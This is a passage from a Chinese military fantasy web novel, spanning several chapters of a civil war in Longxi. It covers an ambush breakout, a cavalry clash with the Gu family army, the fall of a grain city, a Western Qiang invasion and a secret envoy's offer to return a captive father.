“爹,你放心,墨竹一定会救你出来,等我!”
全军转向,拼命向外突围。
望着儿子远去的身影,君世雍没有感到绝望,而是一股欣慰,他活着比什么都重要!
“放箭!”
“嗖嗖嗖!”
密集的箭矢从天而降,山谷中激战骤起,四面八方皆有伏兵杀出,将玉屏山团团围住。
“盾阵护卫两翼,骑兵前出,随本将突围!”
林戈已经翻身上马,手握长枪,充当突围前锋:
“区区一座玉屏山,岂能拦我,给我杀出去!”
千余精骑紧随其后,一杆杆长枪斜刺而出,将山谷两侧涌来的伏兵不断捅杀,头顶掉落的箭矢滚石成了大杀器,不断有骑兵被砸的脑浆迸射而出。
林戈在前,君沉居中指挥大军,荆无命贴身保护君墨竹,八千健儿排成一道锥形锋线往山谷之外冲杀,吼声震天。
凭着一股凶悍之气,前锋终于杀到了山口处,千余骑兵已然杀得浑身鲜血,但这里早已立起一座拒马阵,彻底封死出路。
一面面巨大的盾牌矗立在军阵前方,长枪探出、寒芒毕露,密密麻麻的枪尖令人望而生畏。
“呸!”
林戈狠狠吐了口唾沫,并没停马,而是夹紧马腹骤然前冲,怒声一吼:
“都说洛家铁骑悍不畏死,如今我们也姓洛!”
“可敢随我一战!”
“蹭蹭蹭!”
一杆杆长矛斜举冲前,火光照亮了无数坚毅疯狂的脸颊,上千骑卒怒吼一声:
“死战!”
“喝!”
临阵之际,林戈猛然一扯缰绳,战马腾空而起,飞跃盾阵,同时手中长矛凶悍刺出:
“死!”
“嗤!”
枪尖先是砸裂了巨大的铁盾,随即洞穿背后步卒的胸口,借着强劲的冲击力林戈单手握枪,挑着尸体往人群中一砸,后方步阵顿时响起一片哀嚎。
可密集的拒马阵岂容他放肆?刚刚入阵,周围便有好几杆长枪斜刺而来,直接扎进战马的胸膛。战马一声嘶鸣,鲜血喷洒而出,直接将林戈掀飞了出去:
“扑通!”
后背重重坠地传来一阵剧痛,已经陷入疯狂的林戈不管不顾,还没起身就将长矛贴着地面横挥而出,当场就扫倒了几名逼近身前的军卒,紧跟着他一人一枪,在乱军丛中横冲直撞,宛如杀神附体。
林戈身先士卒,身后骑兵当然是士气大振,人人悍不畏死,拼命冲击盾阵,坚固的拒马阵就这样被撕开一道道细小的缺口。
吼声不绝,鲜血飞溅,并州步卒都蒙了,这群人真的不怕死吗?
随着领军校尉被林戈一枪捅了个透心凉,拒马阵彻底崩溃,数千军卒就这么冲破重围,一头扎进茫茫夜色。
“哈哈,逃出去了!”
君世雍仰天长啸:
“王彦之,你的奸计落空了,天不亡我君家!”
望着敌军逃窜,王彦之的眼眸中泛起一抹寒光:
“真以为轻轻松松就能逃离玉屏山?君大人,等着给你儿子收尸吧!”
……
“驾,驾!”
“轰隆隆!”
玉屏山不小,杀出重围之后大军沿着山路拼命行军,一直到天明时分才离开山脉进入平原。
好在有林戈的拼死陷阵,八千军卒只折损了千余人,不过大军阵型已经十分混乱,骑步军卒都混在一起,场面乱糟糟的。
毕竟是从定州募集起来的兵马,还没有经过操练整训,战斗力确实比阙州军卒差了一些。
君沉回头望了一眼,略微松了口气:
“王家的追兵好像没有跟上来啊,咱们要不喘口气,将士们都太累了。”
厮杀半夜,来回急行军,大部分军卒的体力已经耗尽,有的人已经累得瘫倒在地。
“可他们应该穷追不舍的。”
君墨竹并未感到半分欣喜,反而是忧心忡忡:
“这是杀了我的天赐良机,王彦之岂会白白放弃?没有追兵的话就只有一种可能。”
君墨竹的心头一沉:
“还有伏兵!”
“隆隆。”
“轰隆隆!”
风沙作响,大地开始震颤,一股极具压迫的轰鸣声在天地间回荡着。
所有人的表情都在这一刻苍白了许多。
一望无际的战马跃出地平线,漫天旌旗飞舞,杀气凛然。
硕大的将旗迎风而立,大书一个字:
顾!
第288章顾家军出世
整整六千骑,列阵平原,满目尽悬顾字旗。
骑军清一色穿黑色劲衣、束身长袍、手中拎着一杆长枪,只有极少部分精锐胸口配穿胸甲。甲胄这东西除了阙州,在其他地方都是稀罕物。
“顾家军,竟然是顾家军。”
君墨竹心头一沉,胸口发紧,二十年来顾家军极少参与陇西内斗,只守着自己的一亩三分地过日子,今天竟然出手襄助王家!
不出世不代表他们不能打,顾家骑兵每次出手定会引起一番血雨腥风,整个并州无人敢小觑这股势力。
“顾家军!”
君沉老将军怒目圆睁,雪白的胡须在风中微微抖动:
“林戈,你护送公子突围,我来阻敌!”
他比任何人都知道顾家军的厉害,因为他早年间曾见过顾剑的父亲,因为羌兵入侵还与其并肩战斗过,深知顾家精骑绝非乌合之众。
“还是末将断后吧!老将军和公子先走!”
林戈攥紧长枪,不断调整呼吸,神情凝重。其实大家都清楚,六千顾家军足以全歼他们八千残兵,谁留下断后都是死路一条。
“别争了!”
君墨竹策马向前,朗声高喝:
“顾将军,并州百姓盛传你识大体、讲忠义、存良善,龙泉山顾家军亦多次与羌贼交战,护卫境内百姓,声名显赫。
如今王家作恶多端、屠害生灵,你何必助纣为虐!三州内战的死多少人你想过吗!
难道你想看着顾家多年英名毁于一旦吗!”
君墨竹言辞恳切,他不想打这一仗,不管输与赢,他都不想看到两方自相残杀,顾家与王家并不同。
顾剑身穿黑色劲衣,腰悬长剑,面无表情地回话:
“君公子,说这些没用,我欠王家人情,得还!”
并州人尽皆知,王家救过顾剑的母亲,所以顾剑答应为王家做三件事:
第一件事是婚礼当夜杀了洛羽,可惜功败垂成,但失败的责任是凌桐突然攻破城门,赖不到顾剑头上;
这次便是顾剑帮王家做的第二件事,杀了君墨竹!
“顾剑!”
君墨竹有些急了:“你当真要替王家卖命吗!难道你一点是非曲直都不分!”
顾剑的眼神中闪过一抹隐晦的低沉,然后便是决然,朗声高喝:
“君墨竹,你自裁吧,只要你死,我放你手下军卒离开!我以顾家之名起誓,不伤一人!”
“狂妄!”
君沉怒目圆睁,提枪怒喝:
“公子,我们杀出去!”
事已至此,再无任何转圜的余地,六七千残兵簇拥在一起,骑兵靠前,步卒在后列阵,人人眼中都带着一股疯狂。
只有冲破顾家军的骑阵才能活!
“既然你们找死,那就怨不得我了。”
顾剑策马前行,一整排骑军锋线同时涌出,茫茫黑衣宛如乌云压城,六千骑的大阵蔚为壮观,而君墨竹这边只有不到两千骑兵,兵力差距极大。
铁蹄踏碎平原的宁静,马蹄声响彻云霄,六千黑袍骑兵如潮水般涌来,顾字大旗在风中猎猎作响。
君沉老将军银须飘扬,一马当先,仰天怒吼:
“将士们,杀出去!”
“砰砰砰!”
“嗤嗤嗤!”
两股铁流轰然相撞,金属交击的刺耳声响彻战场。
顾家精骑长枪如林,人人争先,前排锋线刚刚杀入战场就捅杀了近百骑兵,战力极为强悍。当然了,不是因为定州骑兵太弱,而是因为他们鏖战一昼夜,已经精疲力尽。
两千骑眨眼就被六千顾家军吞没,双方都是黑衣,混在一起杂乱不堪,但明显看出顾家军稳占上风。
君沉亲眼看见一名跟随自己多年的亲卫被三杆长枪同时贯穿胸膛,坠马而死,眨眼间就被无数马蹄踩成了肉泥,牙呲目裂:
“混账!”
老将军挥枪而出,一枪正中敌骑胸口,极为蛮横的将尸体甩飞出老远。
“君老将军,冒昧了!”
“喝!”
顾剑第一时间就锁定了君沉,轻夹马腹,战马如离弦之箭冲出,长剑铮然出鞘!
“好好好,就让老夫领教一下陇西第一剑!”
老将军大笑,说罢策马迎上,长枪如龙,直取顾剑咽喉。
“铛!”
两马交错,枪剑相击火花四溅。
一记对拼势均力敌,但老将军的眼神凝重了许多,他是出了全力的,可他能感觉到顾剑有所保留。
“老将军,再接我一剑!”
顾剑剑走偏锋,一招回马剑直削君沉手腕,老将军枪杆一横,格挡的同时瞬间变招,枪尖直刺顾剑心窝。
“好枪法!”
顾剑侧身避过,剑锋突然下压,快如迅雷,君沉的面色陡然一变,忙不迭地想要躲,可剑锋已至!
只听“刺啦”一声,剑锋在君沉左肩胛处划开一道血口。
君沉闷哼一声,狞声道:“顾家的小子,果然有些本事!”
他全然不顾肩上血流如注,长枪舞出漫天枪影,硬是将顾剑逼退三步,但越打身形越晃,横流的鲜血令老将军的面色惨白了许多,手掌已经快握不住枪杆了。
“老将军,小心啊!”
林戈突然大喊,君墨竹转头望去,只见顾剑与君沉战至酣处,老将军虽然勇猛,但毕竟年迈,动作已见迟缓。顾剑抓住一个破绽,长剑直刺君沉胸口。
“叔父!”
君墨竹肝胆俱裂,却见在千钧一发之际顾剑突然手臂抖了一下,剑锋偏开两寸避开心脏要害,剑锋穿透肩甲,带出一蓬鲜血。
“妈的,给我滚开!”
林戈目光猩红,率领十余亲兵杀向顾剑,硬生生在顾家军的防线中撕开一道口子。
“老将军,走!”
林戈一把抓住君沉战马的缰绳,掩护其向外冲杀。
“护着公子走,不用管我!”
老将军一手捂住血流不止的肩口,一边嘶吼出声:
“你先撤!”
转身之际,君沉看向顾剑的眼神中多出一分疑惑,刚刚那一剑本该是必杀的,为何顾剑自己偏了剑锋?
战场的情形急转直下,六千生力骑军对付同等军力的残兵,还是平原地形,这场仗顾剑想输都难。
双方激战半日,战场上血流成河,数不清的死尸栽倒在血泊中,君墨竹这边已经折损过半,伤亡惨重,仅剩的三四千人被团团围住,毫无逃生的可能。
望着遍地死尸,顾剑的眼神似乎很不自然,但最终他还是将目光锁定在君墨竹身上:
“早点结束吧,免得再有无辜之人丧命。”
战马前冲,长剑锋芒毕露,一路斩杀了好几名拦路军卒,最后剑锋直刺君墨竹的心窝:
“死吧!”
“喝!”
“铛!”
侧面人影一闪,陡然有一道寒光乍现,硬生生将剑锋给弹开。
荆无命手握短匕,挡在君墨竹身前,冷冷的看着顾剑:
“想杀公子,先问问我手里的刀。”
“你是何人?”
顾剑愣住了,他惊讶于此人竟然用一柄短匕就挡开了自己的剑锋!
“呸,不告诉你!”
看似气定神闲,实则荆无命的手掌都在发抖,他娘的,这一剑力道真大!
“你找死!”
顾剑怒目圆睁,带血的长剑刚刚提起,耳中突然传来一阵战马嘶鸣:
“轰隆隆!”
马蹄声震耳欲聋,天地颤动。
数以千计的披甲精骑跃出地平线,目光所及之处军旗招展,“曳落”二字漫天飞舞。
曹殇策马持枪,面带狞笑:
“让我来会会陇西第一剑!”
第289章好一个常遇山
“杀啊!”
“铛铛铛!”
“嗤嗤嗤!”
天色清明,盛夏的骄阳下有数不清的血光飞溅。
玉屏山开战的同时,屯粮重地观南城同样展开了激战!
其实观南城并不大,城内甚至没有多少百姓,全是一座座粮仓。王彦之给了王星四千兵马,驻守此地本是绰绰有余。
王星在定襄城吃了亏,丢了人,所谓知耻而后勇,他一到观南城就开始整顿防备,分派校尉驻守各面城墙,每天夜里都安排人巡逻,还下了死命令,谁丢了城门就杀头!城内驻军个个打起精神,丝毫不敢懈怠。
勇气是有了,可先登营的动作太快了,王星抵达观南城的第三天他们就到了。半夜发起突袭,靠着钩爪绳索强行攀城,短短半个时辰就占领了西城墙,守城校尉被徐松一刀劈成了两截。
紧跟着就是打开城门,血归军蜂拥而入,满城都是双方军卒厮杀混战的身影。
浓烟滚滚,杀声震天!
待在将军府里的王星急的团团转,耳中充斥着双方兵马厮杀的喧嚣,不停有军卒进来汇报战况:
“启禀将军,东门失守,敌军已突入城门,请增派援兵!”
“报,南门守将被杀,军卒已经溃退!”
“将军,北门防线岌岌可危,守将不敌,请您增派援兵!”
“援兵援兵,踏马的,我手里哪还有援兵!”
王星破口大骂,面色铁青,整个将军府里就只剩下五百亲卫了,连烧饭的伙夫都被他派上了战场。
屋子里还站着个神色坚毅的年轻人:常遇山。
自从常遇山在定襄城救了他一命之后,王星就视其为心腹干将,手下五百亲兵统统交给此人指挥。
几名偏将面色悲戚,神色惶惶,其中一人咬着牙说道:
“将军,实在不行就撤吧,观南城已经守不住了。”
“撤?不能撤!”
王星面色铁青:“定襄城已经逃过一次,再逃我的脸就丢干净了!”
“将军,三面城防皆失,只剩北门还握在咱们手里,坚守下去毫无意义,何必白白送死呢?留得青山在不愁没柴烧啊!”
“是啊,撤吧将军,再不撤就来不及了!”
众将苦苦相劝,王星面露犹疑,直到将军府外的街道上响起喊杀声时他才意识到,死亡离自己是如此之近!
“妈的,走!”
王星一咬牙:“遇山,护着本将突围!”
“诺!”
五百骑兵翻身上马,一路横冲直撞往北门杀去。
城内已经乱成了一团,守军大部溃散,只剩小部分人还在苦苦支撑,一路上五百精骑遭遇了多次拦截,好在兵力不多,都顺利冲了过去,常遇山牢牢守在王星身边,寸步不离。
历经艰险,死了半数亲兵,骑队好不容易才冲出了北城门,可也就能冲到这里了,一众骑兵纷纷勒马,神情无比凝重。
三百身披血红甲胄的精骑驻马平原,血归军主帅吕青云面带微笑,横枪阵前:
“就知道你会从北门突围,王星,上一次你命大逃了,但今日就是你的死期!”
风沙寥寥,空气中弥漫着一股杀意。
“阴魂不散!”
王星目露凶光:
“遇山,杀了他!”
“诺!”
常遇山毫无表情地策马出阵,一杆长枪已经微微抬起。
“又是你?”吕青云眉头微皱:“报上名来,本将枪下不杀无名之辈!”
“常遇山!”
他并未多言,直接一夹马腹冲向吕青云,怒喝出声:
“请吕将军赐教!”
“杀!”
两匹战马同时启动,如离弦之箭般冲出,全场只剩马蹄声在回荡,四目相对,两杆长矛在阳光下划出冰冷的弧线。
“铛!”
金属碰撞的巨响震得人耳膜生疼,常遇山在最后关头微微偏转矛杆,让吕青云的矛尖擦着自己的护心镜划过,而他的矛尖则直取吕青云咽喉。
“好身手!”
吕青云反应极快,一个后仰险险避开,紧跟着就是一记回马枪直刺常遇山的后背。哪知常遇山打的也是这个主意,两人的枪尖再次撞在了一起:
“铛!”
两马交错而过,常遇山立刻勒转马头,右臂隐隐作痛。吕青云也露出一抹吃惊的表情,他甩了甩手腕,眼中轻蔑之色稍减:
“有点意思,没想到王家族内还有如此高手!”
“再来!”
“怕你不成!”
两人捉对厮杀,长枪迭出,不停刺往对方要害,甚至舞出了些许残影,两边士卒都看呆了。精彩啊,太精彩了,或作在场任何人一个人上去只怕都走不过三招,必死无疑。
王星频频点头,略带得意:
“怎么样,本将的眼光不错吧,寻得如此将才,哈哈哈!”
“将军威武,宰了他!”
“遇山,给我杀,杀了他本将军重有赏!”
两边亲兵的呐喊声此起彼伏,两人已经连过了数十招,常遇山的动作终于开始放缓,隐隐有陷入劣势的迹象。吕青云见状立马紧追不舍,长矛如毒蛇吐信般刺向常遇山面门。
千钧一发之际,常遇山猛地一拉缰绳,战马双蹄并起,吕青云的矛尖堪堪从马颈下方掠过,目光一变:
“不好,中计了!”
这反映哪里像是陷入劣势的样子,分明游刃有余!
就是现在!
常遇山借着战马下落的势头,长矛狠狠往下一劈,吕青云仓促横矛格挡,却低估了这一击的力量。只听“咔擦”一声,吕青云的矛杆出现裂痕,他本人也被震得身形一晃。
常遇山岂会放过如此良机,左手持矛绕着吕青云的手臂一转,枪尖直刺心窝,吕青云面色抖变,被迫松开枪杆,急转扭身。
“嗤!”
矛尖刺入血肉的声音很是沉闷,只见吕青云的右臂已经被枪尖拉出一道血痕,鲜血淋漓。
“唉,差一点!”
王星那叫一个叹息啊,枪尖但凡再偏一点点,就能将吕青云斩于马下!
“将军,将军小心!”
一众血归军卒满脸焦急,蜂拥而上,包围阵型顿时一松,常遇山丝毫不恋战,勒马转身,怒吼:“将军快走!”
早就等着这一刻的王星二话不说,领着数百亲卫纵马狂奔,一队骑兵绝尘而去,再次从血归军手下逃遁。
随行军卒气得面色铁青,两名都尉一扯缰绳:
“将军,我们去追!”
“不必了!穷寇莫追,免生变故!”
吕青云的右肩有丝丝血迹滴落,望向远去的背影,眼眸中闪过一抹精光:
“好一个常遇山!”
第290章笑到最后才是陇西之主
“啊!”
“疼,疼啊!”
“兄弟忍住啊,伤口已经腐烂,这条胳膊必须要据掉,否则你这条命就保不住了!”
“不,不要!”
“啊!”
营地中弥漫着一股哀嚎声,血迹斑斑的伤兵随处可见,几乎都是新编入军中的定州军卒,整片营地中都充斥着一股血腥与草药混合的味道。
洛羽、萧少游几人的脸色很是难看,玉屏山一战堪称大败啊,虽说最后时刻曳落军赶到,将残兵救了回来,可伤亡依旧惨重。
肩上带伤的君老将军默然道:
“此战八千骑外出,只回来了四千人,大军折损过半。”
王彦之设下的埋伏还好,一场厮杀只折损了千余人,剩下的将士全都死在顾家军手中。平原之上以步对骑,又没有携带拒马军械,这一场仗确实不好打。
“此战之责主要在我。”
君墨竹的拳头微微攥紧:
“是我太想救父亲了,如果我能冷静一点,就不会吃上一场大败。”
“不怪你,只能说王彦之布局太深,你我都未曾预料到。”
洛羽摇了摇头,假借彭安之手传递消息、斥候探营、声东击西、重兵出击,甚至还派了曳落军接应,能做的都做了,没有轻敌,事事防备,只是顾家军的战力超出了他们的想象。
那个彭安在得知大军兵败之后惶惶不安,昨天夜里上吊自杀了。
“六千顾家军真的这么强吗?”
洛羽反问道:“曹殇,你交手下来感觉如何?”
“很强,起码远胜寻常并州骑兵。”
曹殇略显凝重:“虽然甲胄、军械谈不上精良,但骑卒之间的配合十分默契,个人武艺也不错,一看就是经年累月的在操练。
曳落军拉开架势或许能正面击败顾家军,但赢得不会很轻松。”
“竟然如此骁勇。”
洛羽喃喃道:“并州身处内地,龙泉山顾家竟然能拉出如此精锐,匪夷所思啊。”
曳落军可是从关外沙场正儿八经拼杀出来的,能与其一战已经称得上精锐了。
君沉接过话道:
“顾家前两任家主其实都是武将出身,自有一套练兵的法子。别看并州处于境内,但顾家军时时会外出剿匪、遇到羌骑入境他们也会出动迎战,月月操练、年年备战,练出如此精锐不算稀奇。
我与上一任顾家家主有些交情,此人精通兵法,绝非庸碌之辈。”
“原来如此,那得想个法子对付他们了。”
洛羽微凝眼眸:
“顾家军若是铁了心要替王家卖命,那并州之战不会那么容易结束啊。”
君墨竹努了努嘴,欲言又止,细微的表情被洛羽尽收眼底,心领神会地说了一句:
“行了各位将军,玉屏山虽然败了,可观南城一战我军大胜,缴获军粮无数,就算是与王家打了个平手,无需泄气。
各自回营休息吧,尽力治好伤兵,下面还有很多仗等着我们打。”
“诺!”
众将依次离去,洛羽这才看向君墨竹:
“你有话要说?”
君墨竹平静的说道:
“今日交战之中,他本有机会一剑刺死老将军,但最后时刻他收手了,放了老将军一马。”
“噢?竟有此事?”
洛羽和萧少游很是诧异,君老将军在定州军卒中威望深重,若是杀了老将军对顾剑来说也是大功一件,为何要手下留情?
君墨竹接着说道:
“所以我觉得顾剑与王彦之不同,起码此人心存良善。若是有机会把他争取过来,对陇西三州来说是一桩幸事,也免得更多人殒命沙场。”
“顾剑在并州的名声我知道,不是个恶人,可别忘了那句话,得人千金不如顾剑一诺。”
洛羽无奈说道:
“王家救了他娘亲,顾家答应为其做三件事,现在已经做了两件事,只要王彦之不傻,一定会把最后一个人情用在双方决战的战事中,以顾剑的性格,绝无拒绝的可能。
对阵六千骑,咱们可得分出不少精锐啊。”
“未必。”
君墨竹眉头微挑:
“当年王家救母一事,似乎另有隐情。”
“噢?”
洛羽目光一亮:
“何意?”
“暂时还不能说。”
君墨竹挑眉远望:“我已经让墨冰台的人去查了,等真相大白,咱们再商议!”
……
“观南城丢了?”
“我给了你四千兵马,竟然没守住观南城!”
并州城内,王彦之的脸色极差,本以为玉屏山一场大胜可以扼杀一下洛家军的士气,哪知道他刚回来,王星的败报就到了。
四千兵马回来三百!
王星面色悲戚,死死磕头伏地:
“大人,末将已经尽力了,四千守军奋战至最后一刻,怎奈敌军数倍于我,末将拼死杀敌也守不住城防。
请大人赐罪!”
屋内众将面面相觑,观南城四千多兵力,要面对先登营和血归军一万人,确实不好打,换谁去都是输,只能说没人想到洛羽用兵如此巧妙,同时进攻玉屏山和观南城两地。
王风赞看着自己的儿子,想要求情但最终没好意思开口,连续吃了两场败仗,实在说不过去。
“罢了,此次你好歹重伤血归军主将,也算立下些许功劳,就当是功过相抵了。”
王彦之轻叹了口气,城池都丢了他还能怎么办,难道杀了王星?怎么说也是自己的族弟啊。
“谢大人!”
王星大喜过望:
“下次大战,末将一定戴罪立功,大败洛羽!”
“起来吧,别跪着了。”
王彦之感觉有些烦躁:“大家都说说,接下来该当如何。”
王风赞小心翼翼地说道:
“玉屏山一战虽然赢了,可观南城对咱们来说极为重要,此地失守,附近县城就缺少军粮,无力拦住洛家军的马蹄。
若是一城一城地与洛家军鏖战,只怕对我军大大不利啊。”
“那就弃守全境!”
短短四个字在所有人耳边炸响,目光呆滞,没听错吧,弃守全境?
“既然外围城郭守不住,那就没必要白白浪费兵力。”
王彦之冷声道:
“收缩兵力,重兵囤积于并州城,咱们就在并州城等着洛羽,和他决战!只要决战能赢,其他城池暂且放弃又如何?”
“就这么定了,立刻去办!”
“诺!”
众将心中虽有迟疑,但王彦之的威严无人敢质疑,齐齐应喝一声之后便鱼贯而出。
刚才还人声鼎沸的正厅只剩下王风赞一人静静站立。
王彦之转身面向地图:
“叔父,我让你办的事怎么样了?”
“一切就绪,再过一阵子就会有消息。”
“很好。”
王彦之的嘴角微微上扬:
“胜败乃兵家常事,能笑到最后的人才是陇西之主!”
第291章七皇子犯境
大军帅帐,洛羽几人眉宇微皱地站在地图前,上面标注着敌我双方眼下的兵力态势。
短短半个月,王家就弃守了并州绝大部分地盘,眼下只剩并州城等寥寥几座关隘掌握在他们手里。看似洛家军节节胜利,但战事进展这么快反而令人不安。
萧少游沉声道:
“近日来我军四处出击,敌军撤得干干净净,咱们几乎是兵不血刃地占领了并州绝大部分地盘。梅雪崖和陆怀舟两人储备的官吏都快不够用了,还好君墨竹举荐了一些定州籍官员,这才能勉强稳住各地吏治。”
“王彦之这是想干什么,聚兵固守坚城?”
君墨竹眉头微皱:
“几场战事下来互有胜负,王家嫡系兵马并未受损,他手里应该还有五六万人,这就不敢打了?”
洛羽有条不紊地分析道:
“我军主力皆是精锐骑兵,王家无力与我们野战不假,可收缩兵力回并州城有何意义?
若换做我用兵,宁愿将兵力分散在各险要关口,囤积军粮、据险固守,让我们一座城一座城的攻打,耗到我们粮草不济再行反击。
他想干什么?”
“事出反常必有妖。”
萧少游冷冷的说道:
“王彦之此人野心极大,区区一座并州城可不容不下他,他一定想赢!”
“怎么才能赢呢?除非他还有强力援兵!可三州大半地盘皆入我手,他哪来的援兵?”
洛羽的视线在地图上缓缓扫过,三人几乎是同时想到了什么,面色陡然一变:
“西羌!”
朝廷的态度已经很明确了,绝不可能插手陇西战事,而陇西境内除了顾家军相助王彦之,再无其他援手,细细想来,能对洛羽造成威胁的只有西羌!
别忘了,杀皇子的仇他们还没报!
“将军,将军!”
就在这时,岳伍风风火火地闯了进来,神色焦急:
“云阳关陆老将军急报!”
洛羽心头一沉,一把夺过军报匆匆扫视,眨眼间脸色便阴沉无比。
“怎么了?”
萧少游和君墨竹的心也跟着揪了起来,云阳关若无战事,陆老将军绝不会传来急报。
洛羽冷冷抬头:
“西羌七皇子耶律昭夜领兵犯境,眼下已陈兵云阳关外!具体兵力不详,但至少已有数万之众在阙州关外扎营,敌我双方的斥候已经交手多次,大战一触即发!”
果然被猜中!
“七皇子?”
君墨竹皱眉道:
“我听说过此人,乃是九皇子耶律乌戈的亲哥哥,这是替弟弟报仇来了。西羌言而无信,卑鄙无耻啊,两国订立盟约、罢兵休战不到半年,就又起兵来袭!”
“陇西内乱,三州打成一团,对他们来讲这是出兵的最好机会。”
萧少游沉声道:
“石敢正在率兵收复并州各城,云阳关只剩陆老将军带数千兵马防守,兵力太少,应该立刻派兵驰援!”
“那就增兵云阳关。”
洛羽回头望向地图:
“韩朔不是还留在阙州境内吗,让他带领步卒先去,曳落军和寒羽骑尽快开拔,至云阳关待命,若是羌兵发起进攻,前线战事就由韩将军指挥。
至于寒山关就让林戈去吧,他熟悉定州的地形,而且磨炼这么久已经能独当一面。”
“诺!”
“怪不得王彦之会收缩兵力啊,原来他是在等西羌出兵,分散我军的注意力。”
洛羽神色凝重:
“西羌出兵该不会是与王彦之串通好的吧?”
帐内气氛一片低沉,如果王彦之为了解决陇西战事通敌叛国,那真是罪大恶极,不顾陇西三州军民的性命。
“不管王彦之有没有与西羌串通,并州战事都必须尽快结束了。”
萧少游冷声道:
“一旦云阳关开战,我军主力势必要开赴边关,这里的战事不能拖!”
“攘外必先安内!咱们先解决王家,再对付羌贼!”
洛羽沉声喝道::
“传令各军,向并州城开拔,陇西之战也该分出胜负了!”
“诺!”
……
云阳关外百里处多出了密密麻麻的军帐,夜幕降临,火光四起,宛如一条火龙盘踞在关外。
去年寒山关大战,西羌九皇子耶律乌戈战死,两朝罢兵议和,陇西百姓本以为能过几年安生日子,鬼知道这么快羌贼就来了,而且陇西内地又乱成一团。
烽火连天啊。
一名身穿锦衣的男子站在地图前,目光一点点扫过陇西疆域。
冷峻如刀削的面容,肤色偏白却透着塞外风霜磨砺出的凌厉,眉峰如刃,斜飞入鬓,一双狭长的眼眸中带着难以看透的城府。帐中火光摇曳,衣袍微微晃动,映出了一副孤狼逐日的图腾。
耶律昭夜,西羌七皇子,此前死于边关的耶律乌戈是他的亲弟弟,细看面庞还真与耶律乌戈有几分相似之处。
两兄弟间感情很好,自幼一起长大,但他们的性格完全不同,耶律乌戈放荡不羁,时而在军中与美姬纵情声色,但耶律昭夜处事沉稳,帮西羌皇帝处理了不少军政大事。
“陇西的战事怎么样了?”
“回殿下!”
站于身后的魁梧将军迈前一步,躬身抱拳:
“据最新情报,王家已经将所有兵力收缩回并州城,看模样是打算在并州首府与洛羽决战,三州绝大部分地盘已经落入洛羽手中。
洛羽分兵驻守各城,麾下主力正在向并州城行进。”
“动作真快啊。”
耶律昭夜喃喃道:
“从阙州起兵到今天才两个月,此人便横扫陇西全境,打得王家节节败退,不愧是名动西境的领兵帅才。
倒是我们失策了。”
帐中诸将沉默不语,时至今日已经无人敢小觑这位从边军小卒起家的安西将军,能杀西羌九皇子的人,绝对不是庸才。
“唉,可惜。”
耶律昭夜没来由地轻叹一声:
“本来还指望看着他们狗咬狗,咱们坐收渔翁之利,现在看来光靠王家是没法拼掉阙州精锐的,还得咱们自己来。
营中兵马到了多少?”
“整整两万骑,战马军械干粮已经分发到位,随时可以出动。”
“两万骑吗,也够了。”
耶律昭夜背对众将,轻轻一挥手:
“去吧,按计划行事!”
“末将领命!”
耶律昭夜转过身来,平静的眼眸中终于闪过一抹寒光:
“再重复一遍此行的任务!”
众将齐齐抱拳,朗声怒喝:
“杀洛羽,屠陇西!”
第292章五天之后,一决生死
“战书?王彦之也有胆子下战书了。”
洛羽斜靠在椅背上,手中把玩着一封王家刚刚从来的信件,内容很简单:
五日之后,并州城外,一决生死!
洛羽见过王彦之的字迹,这是他的亲笔信。
不到三个月内就丢掉了并州、定州全境,被打得缩头不出的王家哪来的胆子主动下战书?
“还不是因为西羌压境吗。”
萧少游讥讽一声:
“曳落军与寒羽骑已经回援云阳关,王家定然得知我军兵力分散的消息,心想着可以一战了。”
洛羽随手将信纸捏碎:
“我们手中有多少兵力可以赶赴并州城下?”
萧少游随即答道:
“虎豹骑、血归军、阙州卫、先登营等阙州带过来的老兵有三万,君沉老将军麾下还有差不多一万多定州军卒,凌桐将军麾下有七千余众,总计五万兵马吧。”
别看洛羽一路上整编了大批定州并州的军卒,可占了那么多地盘总得留兵维持治安吧,寒山关和云阳关都要分兵固守,实际上能参与并州决战的主力并不多。
君墨竹挑眉道:
“王彦之手里撑死五万人,就算加上六千顾家军也就不到六万,若是坚守城内不出,并州城还真不好啃,但若是城外野战,我军能赢!”
两军开战数月,大大小小数十战已经证明了一件事,王家军在野外很难应对洛家军。
萧少游接过话道:
“并州一向是陇西最为富庶的一州,王家多年来积蓄了不少战马,骑兵规模多达一万五千之众,再加上六千顾家军,两万余骑兵,这应该就是王彦之的底气。
将军,您看我们是否应战?”
虽说洛羽连战连捷,但歼灭的都是王家从各城主麾下整编的兵马,王家的真正嫡系并未伤筋动骨。
“当然要战!”
洛羽冷声道:
“耶律昭夜率兵犯境,边防决不能失守,并州战事必须速战速决!
五日后,并州城外,一决生死!”
……
议事结束,君墨竹略显疲惫地往自己的营帐走去,别看他在他人面前气定神闲、风度翩翩,实则内心里深藏痛苦。
父亲若是死了,那没什么好说的,找王家报仇雪恨,以牙还牙便好。可如今父亲活着,还被王家从玉屏山转移到了并州城。
怎么办?想救却不能救。
他不愿主动在洛羽、萧少游面前提及此事,因为他害怕此事影响两人的判断,玉屏山吃的亏还不够大吗?说到底这是君家的家事。
刚走到营门口,守在门口的下人就轻声说了一句:
“公子,您可算是回来了,帐中有客人等您许久了。”
“客人,什么客人?”
“说是您的旧相识。”
“噢?旧相识?”
自己也是陇西四公子之一,认识自己的人多了,可谁会在这个节骨眼来军营找自己?
带着满心的疑惑,君墨竹迈步走进了军帐,看见一名身穿棉衣的中年男子正背对自己饮茶。换做以前,能穿得起棉衣的至少是个小富小贵,可随着凤川棉布畅销,现在什么人都可以穿棉衣了,很难推测出此人的身份。
“敢问你是?”
男子回过头来,微微一笑:
“呵呵,君公子,好久不见,在下等你多时了。”
“王风赞!”
君墨竹的表情瞬间一寒:“你好大的胆子,竟敢孤身深入我方军营,不怕死吗!”
来者不是旁人,正是并州将军,王家主掌兵权的嫡系族人,王风赞!谁能想到两家在沙场上拼个你死我活,王风赞却孤身一人来到了洛家军的营地。
“若是怕死,我就不会来了。”
王风赞做出了一个请的手势:
“君公子先坐吧,王某此行与你有要事相商。”
“要事相商?”
君墨竹的眼眸中闪过一抹寒芒:“我猜与我父亲有关吧?”
“哈哈哈,君公子就是君公子,聪明。”
王风赞轻笑一声:
“那王某就直言了,想必你也知道,两家决战的战书已经送到了洛羽手中,五天之后,两家一决生死。
王大人托我带话,只要两家开战之际,君家不掺和此事,那我们便会将君大人送回来。”
“不掺和此事?笑话!”
君墨竹怀疑自己听错了,讥讽道:
“王家杀了这么多君家人,现在洛家军打得你们落花流水、兵锋压境知道怕了?难道送还我父亲,一场屠杀就能当做没发生吗?难道君家上下近千条人命的血债就算了?
做梦!”
“人死不能复生,还是该为活着的人好好考虑。”
